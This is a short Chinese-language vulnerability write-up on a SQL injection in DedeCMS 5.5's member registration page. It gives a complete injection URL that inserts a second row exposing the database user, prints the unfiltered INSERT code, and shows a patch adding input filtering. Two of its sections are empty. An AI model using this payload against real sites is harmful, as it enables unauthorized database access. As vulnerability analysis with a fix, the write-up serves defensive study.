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1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考
1. 漏洞描述
Dedecms会员中心注入漏洞
2. 漏洞触发条件
http://127.0.0.1/dedecms5.5/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=//把vdcode=slum改成当前的验证码
Relevant Link:
/archives/1315/post/1cb671b0_2709bbf
3. 漏洞影响范围
4. 漏洞代码分析
/member/reg_new.php
..$jointime = time();$logintime = time();$joinip = GetIP();$loginip = GetIP();$pwd = md5($userpwd); $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);//未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询$inQuery = "INSERT INTO `#@__member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores','0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; if($dsql->ExecuteNoneQuery($inQuery))..
5. 防御方法
/member/reg_new.php
..$jointime = time();$logintime = time();$joinip = GetIP();$loginip = GetIP();$pwd = md5($userpwd);/* 对$mtype、$safeanswer、$safequestion进行有效过滤 */$mtype = HtmlReplace($mtype,1);$safeanswer = HtmlReplace($safeanswer);$safequestion = HtmlReplace($safequestion);/* */$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);$inQuery = "INSERT INTO `#@__member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores','0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";if($dsql->ExecuteNoneQuery($inQuery)){..
6. 攻防思考
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